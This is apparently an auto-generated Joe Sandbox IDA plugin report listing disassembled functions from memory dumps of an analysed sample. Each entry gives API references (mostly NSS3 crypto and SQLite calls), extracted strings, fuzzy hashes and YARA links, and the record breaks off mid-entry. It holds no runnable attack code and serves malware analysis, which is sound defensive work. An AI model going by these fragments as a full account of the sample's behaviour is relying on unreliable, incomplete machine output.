Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$cSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrq$oid.
API String ID: 4161946812-1789991448
Opcode ID: 740a4ecbe7f1ec6727aa037d98658f40924b19fd2e42018500f9a6bae861f634
Instruction ID: 9aa64d05671a238515eb3e55d7a1c09318f29751789f23e6b85988bd8a7e618c
Opcode Fuzzy Hash: 740a4ecbe7f1ec6727aa037d98658f40924b19fd2e42018500f9a6bae861f634
Instruction Fuzzy Hash: 2C2219726083518BD714CE29EC9076AB7E6ABCD318F184B6EE4D587B91EB319C05CB43

Function 6C5E3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5E3DFB
__allrem.LIBCMT ref: 6C5E3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5E3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C5E4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5E40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5E415F
__allrem.LIBCMT ref: 6C5E416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5E4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5E42AB
__allrem.LIBCMT ref: 6C5E42B7

Strings

%04d, xrefs: 6C5E407B
%02d, xrefs: 6C5E4086
%03d, xrefs: 6C5E42E8
%lld, xrefs: 6C5E3FB2

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 17f6148c8471c3765fff9b075709fa32ad043856812640cb43026570efd78fdc
Instruction ID: 0bbcff2525fccdad7777a4c81bcac34e8bef1e88a435c2d04fc48f6fe008e754
Opcode Fuzzy Hash: 17f6148c8471c3765fff9b075709fa32ad043856812640cb43026570efd78fdc
Instruction Fuzzy Hash: 13F102B1A087409FD715CF78CC81B6AB7F6AFCA304F148A2DF49597661EB34D8858B42

Function 6C591C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C591D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C591EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C591FB7

Strings

sqlite_master, xrefs: 6C591C61
attached databases must use the same text encoding as main database, xrefs: 6C5920CA
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C591F83
unknown error, xrefs: 6C592291
abort due to ROLLBACK, xrefs: 6C592223
table, xrefs: 6C591C8B
sqlite_temp_master, xrefs: 6C591C5C
no more rows available, xrefs: 6C592264
unsupported file format, xrefs: 6C592188
another row available, xrefs: 6C592287

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: d77464de50d1f860c6b086eb611279100c39fbb281e3b2774bcb92db7e07fcf9
Instruction ID: 668890641092e4573d42ad17921673a0049afe3709208993d9308687d40a7d06
Opcode Fuzzy Hash: d77464de50d1f860c6b086eb611279100c39fbb281e3b2774bcb92db7e07fcf9
Instruction Fuzzy Hash: 9612C1706083818FD715CF19CC84A5AB7F2BF85318F1889ADE8959BB52D731EC46CB92

Function 6C5B5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

sub-select returns %d columns - expected %d, xrefs: 6C5B805F
NOCASE, xrefs: 6C5B8703
-, xrefs: 6C5B62F9
ON clause references tables to its right, xrefs: 6C5B6BEC
BINARY, xrefs: 6C5B8708, 6C5B8737, 6C5B87B8
-, xrefs: 6C5B6228
u, xrefs: 6C5B81DA
2, xrefs: 6C5B65B4

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 0fbd1b9be3c7a5258a80191d387fc51d4a71fff83581efe9ab4efa665f96a749
Instruction ID: 7f932cd5ebc811d9bd283d22d605d12b935c9aa96f45706360d3c47d894e1038
Opcode Fuzzy Hash: 0fbd1b9be3c7a5258a80191d387fc51d4a71fff83581efe9ab4efa665f96a749
Instruction Fuzzy Hash: 114373746087418FD304CF15C8A0B5ABBE2FFC9358F148A5DE899AB752D731E846CB92

Function 6C65EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C65DAE2,?), ref: 6C65C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C65F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C65F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C65F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C65F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C72218C), ref: 6C65F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C65F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C65F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C65F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C65F210

Part of subcall function 6C6052D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C65F1E9,?,00000000,?,?), ref: 6C6052F5
Part of subcall function 6C6052D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C60530F
Part of subcall function 6C6052D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C605326
Part of subcall function 6C6052D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C65F1E9,?,00000000,?,?), ref: 6C605340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C65F227

Part of subcall function 6C64FAB0: free.MOZGLUE(?,-00000001,?,?,6C5EF673,00000000,00000000), ref: 6C64FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C65F23E

Part of subcall function 6C64BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C5FE708,00000000,00000000,00000004,00000000), ref: 6C64BE6A
Part of subcall function 6C64BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6004DC,?), ref: 6C64BE7E
Part of subcall function 6C64BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C64BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C65F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C65F3A8

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C65F3B3

Part of subcall function 6C602D20: PK11_DestroyObject.NSS3(?,?), ref: 6C602D3C
Part of subcall function 6C602D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C602D5F

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 5e7c29bf300f02af02776b4a038c5b102964a052b302f482550b7a2d2511682e
Instruction ID: 011e9c17109e3856810ebeddaef1f2949cddcb2782f1333a1e3a8cea6b20d99e
Opcode Fuzzy Hash: 5e7c29bf300f02af02776b4a038c5b102964a052b302f482550b7a2d2511682e
Instruction Fuzzy Hash: 00D1D4B6E016059FEB00CFA9D880A9EB7F5FF48308F648029D915E7711EB31E815CB99

Function 6C68DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C667FFA,00000000,?,6C6923B9,00000002,00000000,?,6C667FFA,00000002), ref: 6C68DE33

Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90AB
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90C9
Part of subcall function 6C6B9090: EnterCriticalSection.KERNEL32 ref: 6C6B90E5
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B9116
Part of subcall function 6C6B9090: LeaveCriticalSection.KERNEL32 ref: 6C6B913F

Part of subcall function 6C68D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C68DE74,6C667FFA,00000002,?,?,?,?,?,00000000,6C667FFA,00000000,?,6C6923B9,00000002), ref: 6C68D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C667FFA,00000000,?,6C6923B9,00000002,00000000,?,6C667FFA,00000002), ref: 6C68DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C68DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C68E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C68E121
PK11_FreeSymKey.NSS3(?), ref: 6C68E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C68E195
PR_GetCurrentThread.NSS3 ref: 6C68E1FC

Part of subcall function 6C682460: PR_SetError.NSS3(FFFFE005,00000000,6C727379,00000002,?), ref: 6C682493

Strings

handshake data, xrefs: 6C68DFF7
early application data, xrefs: 6C68DFC9
key, xrefs: 6C68E046
application data, xrefs: 6C68DFE0

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: af369e48e1f7fe6fffd4e418a58d43ad6d3eecc572da01f76bf5275b9612a1ab
Instruction ID: 831db79b2acf303185db668e0885bf2d59b0a852e4ce01b5d2031170bab26f4b
Opcode Fuzzy Hash: af369e48e1f7fe6fffd4e418a58d43ad6d3eecc572da01f76bf5275b9612a1ab
Instruction Fuzzy Hash: DDC1F575B02206ABDB14CF65CC80BEAB7B5FF09308F044129E9099BA51E735E954CBB9

Function 6C57ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C57EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C57F483
%s at line %d of [%.10s], xrefs: 6C57F492
database corruption, xrefs: 6C57F48D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 47e643a5b599b8db558bcfb6a5ba66e3dc67fc5224586e79abb04fff2e3077fd
Instruction ID: ca7efabf26903eae3ddbf7d826e79f7e7a167ee3700f8af773c714b7cca9862f
Opcode Fuzzy Hash: 47e643a5b599b8db558bcfb6a5ba66e3dc67fc5224586e79abb04fff2e3077fd
Instruction Fuzzy Hash: 2A62E170A04245CFDB24CF24CC84B9ABBB2BF45318F18469DD8565BB92D775E8C6CBA0

Function 6C61FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C61FD06

Part of subcall function 6C61F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C61F696
Part of subcall function 6C61F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C61F789
Part of subcall function 6C61F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C61F796
Part of subcall function 6C61F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C61F79F
Part of subcall function 6C61F670: SECITEM_DupItem_Util.NSS3 ref: 6C61F7F0

Part of subcall function 6C643440: PK11_GetAllTokens.NSS3 ref: 6C643481
Part of subcall function 6C643440: PR_SetError.NSS3(00000000,00000000), ref: 6C6434A3
Part of subcall function 6C643440: TlsGetValue.KERNEL32 ref: 6C64352E
Part of subcall function 6C643440: EnterCriticalSection.KERNEL32(?), ref: 6C643542
Part of subcall function 6C643440: PR_Unlock.NSS3(?), ref: 6C64355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C61FDAD

Part of subcall function 6C64FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C5F9003,?), ref: 6C64FD91
Part of subcall function 6C64FD80: PORT_Alloc_Util.NSS3(A4686C65,?), ref: 6C64FDA2
Part of subcall function 6C64FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C65,?,?), ref: 6C64FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C61FE00

Part of subcall function 6C64FD80: free.MOZGLUE(00000000,?,?), ref: 6C64FDD1

Part of subcall function 6C63E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C61FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C61FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C61FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C61FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C61FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C61FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C61FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C620007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C620029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C620044

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 41aab19e4b892537f45a54552919f55c24a5f8fbdf921a02d1550f1dcb22979c
Instruction ID: d5e1b2744764b9d0bb3d4563f90b81bb1d999dad0ad65a8920130b71d978bbc9
Opcode Fuzzy Hash: 41aab19e4b892537f45a54552919f55c24a5f8fbdf921a02d1550f1dcb22979c
Instruction Fuzzy Hash: 88B1E6B1608301AFE304CF2DC840A6AF7E5FF89319F558A2DE95D87A41E770E944CB56

Function 6C617D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C617DDC

Part of subcall function 6C6507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5F8298,?,?,?,6C5EFCE5,?), ref: 6C6507BF
Part of subcall function 6C6507B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6507E6
Part of subcall function 6C6507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C65081B
Part of subcall function 6C6507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C650825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C617DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C617F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C617F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C617F98
PK11_FreeSymKey.NSS3(?), ref: 6C617FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C617FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C618000

Part of subcall function 6C639430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C617F0C,?,00000000,00000000,00000000,?), ref: 6C63943B
Part of subcall function 6C639430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C63946B
Part of subcall function 6C639430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C639546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C618110
PK11_FreeSymKey.NSS3(00000000), ref: 6C61811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C61822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C61823C

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 77f737f65afe5f55a3cd216706431391b586ee337bab7b1efc70d036a4746421
Instruction ID: aad013a83c0d49c2ed07ef5aa452e481af61bfb1bb907f775179d36a0131cb39
Opcode Fuzzy Hash: 77f737f65afe5f55a3cd216706431391b586ee337bab7b1efc70d036a4746421
Instruction Fuzzy Hash: DDC171B1D442199FEB21CF18CC40FEAB7B9AF09309F0181E5E91DA6A51E7319E85CF94

Function 6C58AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C6ACF46,?,6C57CDBD,?,6C6ABF31,?,?,?,?,?,?,?), ref: 6C58B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6ACF46,?,6C57CDBD,?,6C6ABF31), ref: 6C58B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C6ACF46,?,6C57CDBD,?,6C6ABF31), ref: 6C58B0A2
CloseHandle.KERNEL32(?,?,6C6ACF46,?,6C57CDBD,?,6C6ABF31,?,?,?,?,?,?,?,?,?), ref: 6C58B100
sqlite3_free.NSS3(?,?,00000002,?,6C6ACF46,?,6C57CDBD,?,6C6ABF31,?,?,?,?,?,?,?), ref: 6C58B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C6ACF46,?,6C57CDBD,?,6C6ABF31), ref: 6C58B12D

Part of subcall function 6C579EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C58C6FD,?,?,?,?,6C5DF965,00000000), ref: 6C579F0E
Part of subcall function 6C579EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C5DF965,00000000), ref: 6C579F5D

Strings

`pl, xrefs: 6C58B0DF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `pl
API String ID: 3155957115-4028537341
Opcode ID: 539267a8c31f8baa00eb17da9139fce53c964e4fd322bf05de368e2e3c848cb7
Instruction ID: 1a85abeb2a92b4ea3371c16ba10ce1967b5ba24d4e610c056cad3b9b37b673ec
Opcode Fuzzy Hash: 539267a8c31f8baa00eb17da9139fce53c964e4fd322bf05de368e2e3c848cb7
Instruction Fuzzy Hash: AC91C0B4A05215CFEB14DF24CC84A6BB7B5FF45308F244A3DE41A97A90EB35E854CB61

Function 6C620EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C620F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C620FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C621006
PK11_FreeSymKey.NSS3(?), ref: 6C62101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C621033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C62103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C621048
memcpy.VCRUNTIME140(?,?,?), ref: 6C62108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6210BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6210D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C62112E

Part of subcall function 6C621570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6208C4,?,?), ref: 6C6215B8
Part of subcall function 6C621570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6208C4,?,?), ref: 6C6215C1
Part of subcall function 6C621570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62162E
Part of subcall function 6C621570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C621637

Memory Dump Source

